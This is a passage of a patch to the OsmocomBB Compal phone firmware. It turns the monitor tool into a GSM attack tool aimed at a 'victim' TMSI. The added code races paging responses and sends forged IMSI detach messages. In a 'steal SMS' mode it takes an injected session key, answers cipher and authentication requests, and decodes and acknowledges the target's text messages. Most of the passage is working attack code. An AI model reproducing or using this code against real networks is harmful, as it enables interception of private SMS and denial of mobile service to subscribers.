++{
++ struct gsm48_paging3 *pag;
++ struct msgb *mimsg = NULL;
++
++ if (msgb_l3len(msg) < sizeof(*pag)) {
++ printf("Paging3 message is too small.\n");
++ return -1;
++ }
++
++ pag = msgb_l3(msg);
++ /*
++ printf("TYP 3 - Paging1: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed1), pag->tmsi1);
++ printf("Paging2: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed2), pag->tmsi2);
++ printf("Paging3: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ "n/a ", pag->tmsi3);
++ printf("Paging4: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ "n/a ", pag->tmsi4);
++ */
++
++ if(tmsi_match((uint8_t *)&pag->tmsi1, victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(6, "mi");
++ if(!mimsg){
++ return -1;
+ }
+- return;
++ mimsg->data[0] = 0x05;
++ mimsg->data[1] = 0xf4;
++ memcpy(&mimsg->data[2], &pag->tmsi1, 4);
++ mimsg->len = 6;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
++ }
++ if(tmsi_match((uint8_t *)&pag->tmsi2, victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(6, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ mimsg->data[0] = 0x05;
++ mimsg->data[1] = 0xf4;
++ memcpy(&mimsg->data[2], &pag->tmsi2, 4);
++ mimsg->len = 6;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
++ }
++ if(tmsi_match((uint8_t *)&pag->tmsi4, victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(6, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ mimsg->data[0] = 0x05;
++ mimsg->data[1] = 0xf4;
++ memcpy(&mimsg->data[2], &pag->tmsi4, 4);
++ mimsg->len = 6;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
+ }
+
+- if (pm_mode == PM_RANGE_RESULT) {
+- pm_mode = PM_IDLE;
+- refresh_display();
+- buzzer_volume(tone);
+- buzzer_note(NOTE(NOTE_C, OCTAVE_5));
+- tone_time = jiffies;
+- tone_on = 1;
+- return;
++ return 0;
++}
++
++
++static int gsm48_rx_paging_p2(struct msgb *msg)
++{
++ struct gsm48_paging2 *pag;
++ int tag, len, mi_type;
++ char mi_string[GSM48_MI_SIZE];
++ struct msgb *mimsg = NULL;
++
++ if (msgb_l3len(msg) < sizeof(*pag)) {
++ printf("Paging2 message is too small.\n");
++ return -1;
++ }
++
++ pag = msgb_l3(msg);
++ /*
++ printf("TYP 2 - Paging1: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed1), pag->tmsi1);
++ printf("Paging2: %s chan %s to TMSI M(0x%x) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed2), pag->tmsi2);
++ */
++
++ if(tmsi_match((uint8_t *)&pag->tmsi1, victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(6, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ mimsg->data[0] = 0x05;
++ mimsg->data[1] = 0xf4;
++ memcpy(&mimsg->data[2], &pag->tmsi1, 4);
++ mimsg->len = 6;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
++ }
++ if(tmsi_match((uint8_t *)&pag->tmsi2, victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(6, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ mimsg->data[0] = 0x05;
++ mimsg->data[1] = 0xf4;
++ memcpy(&mimsg->data[2], &pag->tmsi2, 4);
++ mimsg->len = 6;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
++ }
++
++ /* no optional element */
++ if (msgb_l3len(msg) < sizeof(*pag) + 3)
++ return 0;
++
++ tag = pag->data[0];
++ len = pag->data[1];
++ mi_type = pag->data[2] & GSM_MI_TYPE_MASK;
++
++ if (tag != GSM48_IE_MOBILE_ID)
++ return 0;
++
++ if (msgb_l3len(msg) < sizeof(*pag) + 3 + len) {
++ printf("Optional MI does not fit in here\n");
++ return -1;
++ }
++
++ /*
++ gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[2], len);
++ printf("Type 2 - Paging3: %s chan %s to %s M(%s) \n",
++ pag_print_mode(pag->pag_mode),
++ "n/a ",
++ mi_type_to_string(mi_type),
++ mi_string);
++ */
++
++ if(tmsi_match(&pag->data[3], victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(len + 1, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ memcpy(mimsg->data, &pag->data, len + 1);
++ mimsg->len = pag->data[1] + 1;
++ msgb_enqueue(&mi_queue, mimsg);
++ return 0;
++ }
++
++ return 0;
++}
++
++static int tmsi_match(uint8_t *mi, uint8_t *tmsi){
++ if(attack_mode == MODE_ALL_PAGING){
++ printf("%s\n", osmo_hexdump(mi, 4));
++ return 1;
++ }
++ if(attack_mode == MODE_RANGE_PAGING && mi[3] >= tmsi_range_min && mi[3] <= tmsi_range_max && tmsi_range_min >= 0){
++ printf("%s\n", osmo_hexdump(mi, 4));
++ return 1;
++ }
++ if(attack_mode != MODE_NONE && mi[0] == tmsi[0] && mi[1] == tmsi[1] && mi[2] == tmsi[2] && mi[3] == tmsi[3]){
++ printf("%s\n", osmo_hexdump(mi, 4));
++ return 1;
++ }
++ if(attack_mode == MODE_NONE && mi[0] == tmsi[0] && mi[1] == tmsi[1] && mi[2] == tmsi[2] && mi[3] == tmsi[3]){
++ printf("\n\nFOUND\n\n");
+ }
++ printf("%s does not match\n", osmo_hexdump(mi, 4));
++
++ return 0;
+ }
+
++
++static int gsm48_rx_paging_p1(struct msgb *msg)
++{
++ struct gsm48_paging1 *pag;
++ int mi_type, len1, tag, len2;
++ char mi_string[GSM48_MI_SIZE];
++ struct msgb *mimsg = NULL;
++
++ /* is there enough room for the header + LV? */
++ if (msgb_l3len(msg) < sizeof(*pag) + 2) {
++ printf("PagingRequest is too short.\n");
++ return -1;
++ }
++
++ pag = msgb_l3(msg);
++
++ mi_type = pag->data[1] & GSM_MI_TYPE_MASK;
++ len1 = pag->data[0];
++
++ if (mi_type != GSM_MI_TYPE_NONE) {
++ /*
++ gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[1], len1);
++ printf("Paging1: %s chan %s to %s M(%s) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed1),
++ mi_type_to_string(mi_type),
++ mi_string);
++ */
++ } else {
++ return 0;
++ }
++
++ if(tmsi_match(&pag->data[2], victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(pag->data[0] + 1, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ memcpy(mimsg->data, &pag->data, pag->data[0] + 1);
++ mimsg->len = pag->data[0] + 1;
++ msgb_enqueue(&mi_queue, mimsg);
++ }
++
++ if (msgb_l3len(msg) < sizeof(*pag) + 2 + len1 + 3)
++ return 0;
++
++ tag = pag->data[2 + len1 + 0];
++ len2 = pag->data[2 + len1 + 1];
++ mi_type = pag->data[2 + len1 + 2] & GSM_MI_TYPE_MASK;
++ if (tag == GSM48_IE_MOBILE_ID && mi_type != GSM_MI_TYPE_NONE) {
++ if (msgb_l3len(msg) < sizeof(*pag) + 2 + len1 + 3 + len2) {
++ printf("Optional MI does not fit here.\n");
++ return -1;
++ }
++ if(tmsi_match(&pag->data[2 + len1 + 2], victim_tmsi)){
++ tx_chan_req();
++ mimsg = msgb_alloc(pag->data[2 + len1 + 2] + 1, "mi");
++ if(!mimsg){
++ return -1;
++ }
++ memcpy(mimsg->data, &pag->data, &pag->data[2 + len1 + 2] + 1);
++ mimsg->len = pag->data[2 + len1 + 2] + 1;
++ msgb_enqueue(&mi_queue, mimsg);
++ }
++
++ /*
++ gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[2 + len1 + 2], len2);
++ printf("Paging2: %s chan %s to %s M(%s) \n",
++ pag_print_mode(pag->pag_mode),
++ chan_need(pag->cneed2),
++ mi_type_to_string(mi_type),
++ mi_string);
++ */
++ }
++
++ return 0;
++}
++
++
++/* END OF PAGING functions */
++
++/* PM handling */
++
+ /* sync / SI */
+
+ static void enter_sync(void)
+@@ -993,6 +2078,7 @@ static void enter_sync(void)
+ struct l1ctl_fbsb_req *req;
+ uint16_t a = arfcn;
+
++ printf("ENTERING SYNC\n\n");
+ l1s_reset();
+ l1s_reset_hw();
+ pm_count = 0;
+@@ -1059,6 +2145,8 @@ uint16_t *_mnc, uint16_t *_lac)
+
+ static void request_ul_levels(uint16_t a)
+ {
++ /* we are not interested in any neighbor cell measurements */
++ return 0;
+ struct msgb *msg = l1ctl_msgb_alloc(L1CTL_NEIGH_PM_REQ);
+ struct l1ctl_neigh_pm_req *pm_req =
+ (struct l1ctl_neigh_pm_req *) msgb_put(msg, sizeof(*pm_req));
+@@ -1104,9 +2192,6 @@ static void handle_sync(void)
+ return;
+ }
+
+- if (tone_on)
+- return;
+-
+ /* no UL result, no SI result */
+ if (!ul_new && !(si_new & 0x100))
+ return;
+@@ -1163,6 +2248,7 @@ static void handle_sync(void)
+ printf("ccch_mode=%d\n", ccch_conf);
+
+ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ printf("FINISHED SYNC\n\n");
+ }
+ break;
+ case GSM48_MT_RR_SYSINFO_4:
+@@ -1174,14 +2260,6 @@ static void handle_sync(void)
+ if (cursor >= 0)
+ refresh_display();
+
+- /* tone depends on successfully received BCCH */
+- buzzer_volume(tone);
+- tone_time = jiffies;
+- tone_on = 1;
+- if ((si_new & 0xff) == 0xff)
+- buzzer_note(NOTE(NOTE_C, OCTAVE_2));
+- else
+- buzzer_note(NOTE(NOTE_C, OCTAVE_5));
+ si_new = 0;
+ }
+
+@@ -1237,6 +2315,16 @@ static void exit_rach(void)
+ refresh_display();
+ }
+
++static void handle_stuck(void){
++ unsigned long elapsed = jiffies - last_net_frame;
++
++ if(elapsed > HZ * 5 && ccch_conf != -1){
++ update_net_frame();
++ printf("\n[!] Did not receive anything from the network, resyncing!\n\n");
++ reenter_sync();
++ }
++}
++
+ static void handle_assign(void)
+ {
+ if (mode != MODE_RACH)
+@@ -1283,15 +2371,91 @@ static int gsm48_match_ra(struct gsm48_req_ref *ref)
+
+
+ /* note: called from IRQ context */
+-static void rx_imm_ass(struct msgb *msg)
++
++/*
++TODO:
++We have to check the random references in order to differ between immediate assignments
++for e.g. location update requests of phones locking on the cell
++*/
++static int rx_imm_ass(struct msgb *msg)
+ {
+ struct gsm48_imm_ass *ia = msgb_l3(msg);
++ uint8_t ch_type, ch_subch, ch_ts;
++ struct msgb *mimsg;
++ int rv;
+
+- if (gsm48_match_ra(&ia->req_ref)) {
+- assign = ASSIGN_RESULT;
+- ta = ia->timing_advance;
+- rach = 0;
++ /* Discard paket TBF assignement */
++ if (ia->page_mode & 0xf0)
++ return 0;
++
++ /* FIXME: compare RA and GSM time with when we sent RACH req */
++
++ current_chan = ia->chan_desc.chan_nr;
++ rsl_dec_chan_nr(current_chan, &ch_type, &ch_subch, &ch_ts);
++
++ if(ia->req_ref.ra != 0x9f)
++ return 0;
++
++ /* TODO: check if we really need to send this */
++ // tx_meas_rep(current_chan, 0, ia->timing_advance);
++ if (!ia->chan_desc.h0.h) {
++ /* Non-hopping */
++ uint16_t arfcnn;
++
++ arfcnn = ia->chan_desc.h0.arfcn_low | (ia->chan_desc.h0.arfcn_high << 8);
++
++ printf("GSM48 IMM ASS (ra=0x%02x, chan_nr=0x%02x, ARFCN=%u, TS=%u, SS=%u, TSC=%u) \n", ia->req_ref.ra,
++ current_chan, arfcn, ch_ts, ch_subch,
++ ia->chan_desc.h0.tsc);
++
++ /* request L1 to go to dedicated mode on assigned channel */
++ rv = l1ctl_tx_dm_est_req_h0(arfcnn, current_chan, ia->chan_desc.h0.tsc, GSM48_CMODE_SIGN);
++ } else {
++ /* Hopping */
++ uint8_t maio, hsn, ma_len;
++ uint16_t ma[64], arfcnn;
++ int i, j, k;
++
++ hsn = ia->chan_desc.h1.hsn;
++ maio = ia->chan_desc.h1.maio_low | (ia->chan_desc.h1.maio_high << 2);
++
++ printf("HOPPING GSM48 IMM ASS (ra=0x%02x, chan_nr=0x%02x, HSN=%u, MAIO=%u, TS=%u, SS=%u, TSC=%u) \n", ia->req_ref.ra,
++ current_chan, hsn, maio, ch_ts, ch_subch,
++ ia->chan_desc.h1.tsc);
++
++ /* decode mobile allocation */
++ ma_len = 0;
++ for (i=1, j=0; i<=1024; i++) {
++ arfcnn = i & 1023;
++ if (freq[arfcnn].mask & 0x01) {
++ k = ia->mob_alloc_len - (j>>3) - 1;
++ if (ia->mob_alloc[k] & (1 << (j&7))) {
++ ma[ma_len++] = arfcnn;
++ }
++ j++;
++ }
++ }
++
++ /* request L1 to go to dedicated mode on assigned channel */
++ rv = l1ctl_tx_dm_est_req_h1(maio, hsn, ma, ma_len, current_chan, ia->chan_desc.h1.tsc, GSM48_CMODE_SIGN);
++ }
++
++
++ mimsg = msgb_dequeue(&mi_queue);
++ if(!mimsg) {
++ reenter_sync();
++ return -1;
+ }
++
++ if(attack_mode == MODE_PAGING || attack_mode == MODE_RANGE_PAGING || attack_mode == MODE_STEAL_SMS){
++ tx_paging_response(current_chan, mimsg->data, mimsg->len);
++ } else {
++ tx_imsi_detach(current_chan, mimsg->data, mimsg->len);
++ }
++ init_lapdm();
++ msgb_free(mimsg);
++
++ return 0;
+ }
+
+ /* note: called from IRQ context */
+@@ -1318,6 +2482,7 @@ static void rx_imm_ass_rej(struct msgb *msg)
+ struct gsm48_req_ref *req_ref;
+ int i;
+
++ printf("\nIMM ASS RAPE!1!\n\n");
+ for (i = 0; i < 4; i++) {
+ /* request reference */
+ req_ref = (struct gsm48_req_ref *)
+@@ -1329,6 +2494,267 @@ static void rx_imm_ass_rej(struct msgb *msg)
+ }
+ }
+
++static void rx_acch(struct msgb *msg)
++{
++ uint8_t address = msg->data[0];
++ uint8_t control = msg->data[1];
++ uint8_t length = msg->data[2];
++ uint8_t n_recv;
++ uint8_t n_send;
++ uint8_t p_f, cr, s_u, sapi;
++
++ if(lapd_state.active == 0){
++ return;
++ }
++ cr = LAPDm_ADDR_CR(address);
++ sapi = LAPDm_ADDR_SAPI(address);
++
++ p_f = LAPDm_CTRL_PF_BIT(control);
++
++ printf("%s (%d) ", cr == 1 ? "CMD" : "RESP", p_f);
++ if(LAPDm_CTRL_is_I(control)){
++ /* in theory we would need to check the P bit and reply with
++ an S func=RR frame, but we skip this and always reply with rr
++ */
++ n_recv = LAPDm_CTRL_Nr(control);
++ n_send = LAPDm_CTRL_I_Ns(control);
++
++ /*
++ On receipt of a valid I frame or supervisory frame (RR, RNR or REJ),
++ even in the own receiver busy or timer recovery conditions, the data
++ link layer entity shall treat the N(R) contained in this frame as an
++ acknowledgement for all the I frames it has transmitted with an N(S)
++ up to and including the received N(R) - 1. The value of the
++ acknowledge state variable V(A) shall be set to the value of N(R).
++ as we acknowledge the receipt of an iframe, we have to send back N(S)...
++ */
++ lapd_state.v_ack = n_send;
++
++ /*
++ When a data link layer entity is not in an own receiver busy
++ condition and receives a valid I frame whose send sequence number is
++ equal to the current receive state variable V(R), the data link
++ layer entity shall: increment by 1 its receive state variable V(R),
++ and act as indicated below.
++ */
++ /*
++ The value of the receive state variable shall be incremented by one
++ with the receipt of an error-free, in-sequence I frame whose send
++ sequence number N(S) equals the receive state variable V(R).
++ */
++ if(n_send == lapd_state.v_recv){
++ lapd_state.v_recv = inc_mod(lapd_state.v_recv, 8);
++ }
++
++ printf("LAPDm I frame ");
++
++ printf("N(R)=%d, N(S)=%d\n", n_recv, n_send);
++
++ /* The value of the send state variable shall be incremented by 1 with
++ each successive I frame transmission */
++ /* BUG squashing: this should only be incremented on *sending* and I frame, not on receiving
++ lapd_state.v_send = inc_mod(lapd_state.v_send, 8);
++ */
++
++ /*
++ The receive ready (RR) supervisory frame is used by a data link layer entity to:
++ a) indicate it is ready to receive an I frame;
++ b) acknowledge previously received I frames numbered up to and including N(R) - 1
++ (as defined in clause 5)
++ c) clear a busy condition that was indicated by the earlier transmission of an
++ RNR frame by that same data link layer entity.
++ */
++ //if(lapd_state.v_send == 2) reenter_sync();
++ tx_lapdm_rr(current_chan, lapd_state.v_ack + 1);
++
++ if(length >= 0x5){
++ uint8_t proto_discr = msg->data[3];
++ uint8_t msg_type = msg->data[4];
++
++ switch(proto_discr){
++ case GSM48_PDISC_SMS:
++ printf("SMS ");
++ switch(msg_type){
++ case GSM411_MT_CP_DATA:
++ printf("CP-DATA ");
++ sms_state.sms_mode = SMS_CP_DATA;
++ /* N(S) will be what N(R) is on the downlink, receiver expects this as the next
++ seq number */
++ decode_dspl_sms(msg->data, msg->len);
++ break;
++ default:
++ printf("unknown SMS (%x) ", msg_type);
++ break;
++ }
++ break;
++ case GSM48_PDISC_RR:
++ printf("RR ");
++ switch(msg_type){
++ case GSM48_MT_RR_CIPH_M_CMD:
++ printf("CIPHER MODE COMMAND ");
++ if(lapd_state.ciph_count >= 15) reenter_sync();
++ lapd_state.ciph_count++;
++ /* if we set a kc, respond with cipher mode complete */
++ if(cipher_mode == CIPHER_ACTIVE || attack_mode == MODE_STEAL_SMS){
++ enable_ciphering();
++ tx_cipher_mode_complete(current_chan, lapd_state.v_recv, n_recv);
++ }
++ break;
++ case GSM48_MT_RR_CHAN_REL:
++ printf("CHANNEL RELEASE ");
++ reenter_sync();
++ if(sms_state.sms_mode == SMS_RP_ACK){
++ sms_state.sms_mode = SMS_NONE;
++ refresh_display();
++ }
++ break;
++ default:
++ printf("unknown RR (%x) ", msg_type);
++ break;
++ }
++ break;
++ case GSM48_PDISC_CC:
++ printf("CC ");
++ switch(msg_type){
++ case GSM48_MT_CC_SETUP:
++ printf("CC SETUP ");
++ break;
++ case GSM48_MT_CC_HOLD:
++ printf("CC HOLD ");
++ break;
++ default:
++ printf("unknown CC (%x) ", msg_type);
++ break;
++ }
++ break;
++ case GSM48_PDISC_MM:
++ printf("MM ");
++ switch(msg_type){
++ case GSM48_MT_MM_ID_REQ:
++ printf("IDENTITY REQ ");
++ tx_identity_response(current_chan, lapd_state.v_recv, n_recv, msg->data[5]);
++ break;
++ case GSM48_MT_MM_AUTH_REQ:
++ printf("AUTH REQ ");
++ if(attack_mode == MODE_STEAL_SMS){
++ tx_authentication_response(current_chan, lapd_state.v_recv, n_recv);
++ }
++ break;
++ case GSM48_MT_MM_ABORT:
++ printf("ABORT ");
++ break;
++ default:
++ printf("unknown MM (%x) ", msg_type);
++ break;
++ }
++ break;
++ default:
++ if (sms_state.sms_mode == SMS_CP_DATA && sapi == LAPDm_SAPI_3){
++ tx_sms_cp_ack(current_chan, lapd_state.v_recv, n_recv);
++ decode_dspl_sms(msg->data, msg->len);
++ sms_state.sms_mode = SMS_CP_ACK;
++ printf("unkn0wn (%x) ", proto_discr);
++ }
++ return;
++ break;
++ }
++ }
++
++ } else if (LAPDm_CTRL_is_U(control)){
++ s_u = LAPDm_CTRL_U_BITS(control);
++
++ printf("LAPDm U frame func=");
++ switch(s_u){
++ case LAPD_U_SABM:
++ case LAPD_U_SABME:
++ printf("SABM (%d)", p_f);
++ lapd_state.sapi = sapi;
++ tx_lapdm_ua(current_chan);
++ break;
++ case LAPD_U_DM:
++ printf("DM");
++ break;
++ case LAPD_U_UI:
++ /*
++ When a layer 3 entity requests unacknowledged information
++ transfer, the UI unnumbered command shall be used to send
++ information to its peer without affecting data link layer
++ variables. UI command frames do not carry a sequence number.
++ Therefore, the UI frame may be lost without notification to
++ the layer 3 entity if a data link exception occurs during
++ transmission of the command.
++ */
++ printf("UI");
++ lapd_state.ui_count++;
++ if(lapd_state.ui_count>10 && lapd_state.active==1){
++ lapd_state.active=0;
++ reenter_sync();
++ }
++
++ break;
++ case LAPD_U_DISC:
++ printf("DISC");
++ /*
++ The UA unnumbered response is used by a data link layer
++ entity to acknowledge the receipt and acceptance of the mode
++ setting commands (SABM or DISC). Received mode setting
++ commands are not actioned until the UA response is
++ transmitted.
++ */
++ tx_lapdm_ua(current_chan);
++ printf("setting LAPDm session to inactive\n");
++ lapd_state.active = 0;
++ reenter_sync();
++ break;
++ case LAPD_U_UA:
++ printf("UA");
++ break;
++ default:
++ printf("unknown U frame");
++ break;
++ }
++
++ } else if (LAPDm_CTRL_is_S(control)){
++ /* r/p */
++ n_recv = LAPDm_CTRL_Nr(control);
++ s_u = LAPDm_CTRL_S_BITS(control);
++
++ printf("LAPDm S frame func=");
++
++ switch(s_u){
++ case LAPD_S_RR:
++ printf("RR ");
++ /*
++ a) indicate it is ready to receive an I frame;
++ b) acknowledge previously received I frames numbered up to and including N(R) - 1
++ c) clear a busy condition that was indicated by the earlier
++ transmission of an RNR frame by that same data link layer
++ entity.
++ */
++ lapd_state.v_send = n_recv;
++ printf("N(R)=%d ", n_recv);
++ if (sms_state.sms_mode == SMS_CP_ACK) {
++ tx_sms_cp_data_rp_ack(current_chan, lapd_state.v_recv, lapd_state.v_send);
++ sms_state.sms_mode = SMS_RP_ACK;
++ }
++ break;
++ case LAPD_S_RNR:
++ case LAPD_S_REJ:
++ printf("RNR/REJ ");
++ break;
++ default:
++ printf("unknown S frame");
++ break;
++ }
++ if(p_f){
++ tx_lapdm_rr(current_chan, lapd_state.v_send);
++ }
++ } else {
++ printf("unknown LAPDm frame\n");
++ }
++ printf("\n\n\n\n");
++}
++
+ /* note: called from IRQ context */
+ static void rx_pch_agch(struct msgb *msg)
+ {
+@@ -1341,10 +2767,18 @@ static void rx_pch_agch(struct msgb *msg)
+ rx_imm_ass(msg);
+ break;
+ case GSM48_MT_RR_IMM_ASS_EXT:
+- rx_imm_ass_ext(msg);
++ //rx_imm_ass_ext(msg);
+ break;
+ case GSM48_MT_RR_IMM_ASS_REJ:
+- rx_imm_ass_rej(msg);
++ //rx_imm_ass_rej(msg);
++ break;
++ case GSM48_MT_RR_PAG_REQ_1:
++ gsm48_rx_paging_p1(msg);
++ break;
++ case GSM48_MT_RR_PAG_REQ_2:
++ gsm48_rx_paging_p2(msg);
++ case GSM48_MT_RR_PAG_REQ_3:
++ gsm48_rx_paging_p3(msg);
+ break;
+ }
+ }
+@@ -1389,6 +2823,9 @@ static void l1a_l23_tx(struct msgb *msg)
+ uint8_t chan_type, chan_ts, chan_ss;
+ struct l1ctl_neigh_pm_ind *pm_ind;
+ struct gsm_time tm;
++ struct l1ctl_data_ind *ccch;
++
++ ccch = (struct l1ctl_data_ind *) msg->l2h;
+
+ switch (l1h->msg_type) {
+ case L1CTL_PM_CONF:
+@@ -1412,16 +2849,22 @@ static void l1a_l23_tx(struct msgb *msg)
+ case L1CTL_FBSB_CONF:
+ dl = (struct l1ctl_info_dl *) l1h->data;
+ sb = (struct l1ctl_fbsb_conf *) dl->payload;
+- if (sb->result == 0)
++ if (sb->result == 0){
+ sync_result = "ok";
+- else
++ } else {
+ sync_result = "error";
++ reenter_sync();
++ }
+ bsic = sb->bsic;
+ break;
+ case L1CTL_DATA_IND:
+ dl = (struct l1ctl_info_dl *) l1h->data;
+ msg->l2h = dl->payload;
++
+ rsl_dec_chan_nr(dl->chan_nr, &chan_type, &chan_ss, &chan_ts);
++ gsm_fn2gsmtime(&tm, ntohl(dl->frame_nr));
++
++ //printf("[%d] %s (%.4u/%.2u/%.2u) %d dBm: %s\n", chan_type, rsl_chan_nr_str(dl->chan_nr), tm.t1, tm.t2, tm.t3, (int)dl->rx_level-110, osmo_hexdump(msg->data, msg->len));
+
+ power = dl->rx_level;
+ if (dl->fire_crc >= 2) {
+@@ -1436,9 +2879,24 @@ static void l1a_l23_tx(struct msgb *msg)
+ rx_bcch(msg);
+ break;
+ case RSL_CHAN_PCH_AGCH:
++ update_net_frame();
+ msg->l3h = msg->l2h;
++ /* CCCH */
+ rx_pch_agch(msg);
+ break;
++ case RSL_CHAN_Bm_ACCHs:
++ case RSL_CHAN_Lm_ACCHs:
++ case RSL_CHAN_SDCCH4_ACCH:
++ case RSL_CHAN_SDCCH8_ACCH:
++ update_net_frame();
++ msgb_pull(msg, (sizeof(struct l1ctl_info_dl) + sizeof(struct l1ctl_hdr)));
++ msg->l1h = NULL;
++ msg->l3h = msg->l2h;
++ if(msg->data[0] != 0x07){
++ printf("[%d] %s (%.4u/%.2u/%.2u) %d dBm: %s\n", chan_type, rsl_chan_nr_str(dl->chan_nr), tm.t1, tm.t2, tm.t3, (int)dl->rx_level-110, osmo_hexdump(msg->data, msg->len));
++ rx_acch(msg);
++ }
++ break;
+ }
+ sercomm_sendmsg(SC_DLCI_L1A_L23, msg);
+ return; /* msg is freed by sercom */
+@@ -1478,6 +2936,43 @@ static void console_rx_cb(uint8_t dlci, struct msgb *msg)
+ msgb_free(msg);
+ }
+
++static void mobile_identity_rx_cb(uint8_t dlci, struct msgb *msg)
++{
++ int i;
++ printf("mobile_identity_rx_cb (DLCI %d): ", dlci);
++
++ /* yes this code sucks, i realized later that i need to set more than one
++ thing so i should've made a byte encoding the type of information to set ;)
++ */
++ if(msg->len == 2){
++ printf("setting TMSI match mask to: %02x-%02x\n", msg->data[0], msg->data[1]);
++ tmsi_range_min = msg->data[0];
++ tmsi_range_max = msg->data[1];
++ return;
++ }
++ if(msg->len >= 8){
++ printf("setting Kc to: ");
++ for (i = 0; i < msg->len && i < 8; i++) {
++ kc[i] = msg->data[i];
++ printf("%02x ", kc[i]);
++ }
++ puts("\n");
++ cipher_mode = CIPHER_ACTIVE;
++ if(msg->len == 9){
++ key_seq = msg->data[8];
++ printf("setting key sequence to: %02x\n", key_seq);
++ }
++ return;
++ }
++
++ printf("changing victim TMSI to: ");
++ for (i = 0; i < msg->len && i < 4; i++) {
++ victim_tmsi[i] = msg->data[i];
++ printf("%02x ", victim_tmsi[i]);
++ }
++ puts("\n");
++}
++
+ static void l1a_l23_rx_cb(uint8_t dlci, struct msgb *msg)
+ {
+ int i;
+@@ -1508,9 +3003,6 @@ int main(void)
+ {
+ board_init();
+
+- puts("\n\nOSMOCOM Monitor Tool (revision " GIT_REVISION ")\n");
+- puts(hr);
+-
+ /* Dump device identification */
+ dump_dev_id();
+ puts(hr);
+@@ -1519,6 +3011,7 @@ int main(void)
+ calypso_clk_dump();
+ puts(hr);
+
++ INIT_LLIST_HEAD(&mi_queue);
+ keypad_set_handler(&key_handler);
+
+ /* Dump clock config after PLL set */
+@@ -1527,6 +3020,7 @@ int main(void)
+
+ sercomm_register_rx_cb(SC_DLCI_CONSOLE, console_rx_cb);
+ sercomm_register_rx_cb(SC_DLCI_L1A_L23, l1a_l23_rx_cb);
++ sercomm_register_rx_cb(SC_DLCI_TMSI, mobile_identity_rx_cb);
+
+ layer1_init();
+ l1a_l23_tx_cb = l1a_l23_tx;
+@@ -1535,24 +3029,21 @@ int main(void)
+
+ tpu_frame_irq_en(1, 1);
+
+- buzzer_mode_pwt(1);
+- buzzer_volume(0);
+-
+ memset(pm_spectrum, 0, sizeof(pm_spectrum));
+ memset(ul_max, 0, sizeof(ul_max));
+
+ /* inc 0 to 1 and refresh */
+- inc_dec_arfcn(1);
++ inc_dec_arfcn(30);
+
+ while (1) {
+ l1a_compl_execute();
+ osmo_timers_update();
+ handle_key_code();
+ l1a_l23_handler();
+- handle_pm();
++ //handle_pm();
+ handle_sync();
+- handle_assign();
+- handle_tone();
++ //handle_assign();
++ handle_stuck();
+ }
+
+ /* NOT REACHED */
+diff --git a/src/target/firmware/battery/compal_e88.c b/src/target/firmware/battery/compal_e88.c
+index 609d406..bcfea84 100644
+--- a/src/target/firmware/battery/compal_e88.c
++++ b/src/target/firmware/battery/compal_e88.c
+@@ -284,6 +284,7 @@ bat_compal_e88_upd_measurements(){
+ }
+
+ /* DEBUG */
++ /*
+ printf("BAT-ADC: ");
+ for(i=0;i<MADC_NUM_CHANNELS;i++)
+ printf("%3d ",bat_compal_e88_madc[i]);
+@@ -302,6 +303,7 @@ bat_compal_e88_upd_measurements(){
+ printf("\tBCICTL2=0x%03x\n",i);
+ printf("\tbattery-info.flags=0x%08x\n",battery_info.flags);
+ printf("\tbat_compal_e88_chg_state=%d\n",bat_compal_e88_chg_state);
++ */
+ }
+
+ /* bat_compal_e88_adc_read() :
+diff --git a/src/target/firmware/board/compal/highram.lds b/src/target/firmware/board/compal/highram.lds
+index 498a2fa..5d802e2 100644
+--- a/src/target/firmware/board/compal/highram.lds
++++ b/src/target/firmware/board/compal/highram.lds
+@@ -16,9 +16,9 @@ MEMORY
+ /* lowram: could be anything, we place exception vectors here */
+ XRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00020000
+ /* highram binary: our text, initialized data */
+- LRAM (rw) : ORIGIN = 0x00820000, LENGTH = 0x00014000
++ LRAM (rw) : ORIGIN = 0x00820000, LENGTH = 0x00024000
+ /* highram binary: our unitialized data, stacks, heap */
+- IRAM (rw) : ORIGIN = 0x00834000, LENGTH = 0x0000c000
++ IRAM (rw) : ORIGIN = 0x00844000, LENGTH = 0x0000c000
+ }
+ SECTIONS
+ {
+diff --git a/src/target/firmware/board/compal/ram.lds b/src/target/firmware/board/compal/ram.lds
+index 9503ede..8528072 100644
+--- a/src/target/firmware/board/compal/ram.lds
++++ b/src/target/firmware/board/compal/ram.lds
+@@ -11,9 +11,9 @@ ENTRY(_start)
+ MEMORY
+ {
+ /* compal-loaded binary: our text, initialized data */
+- LRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00014000
++ LRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00024000
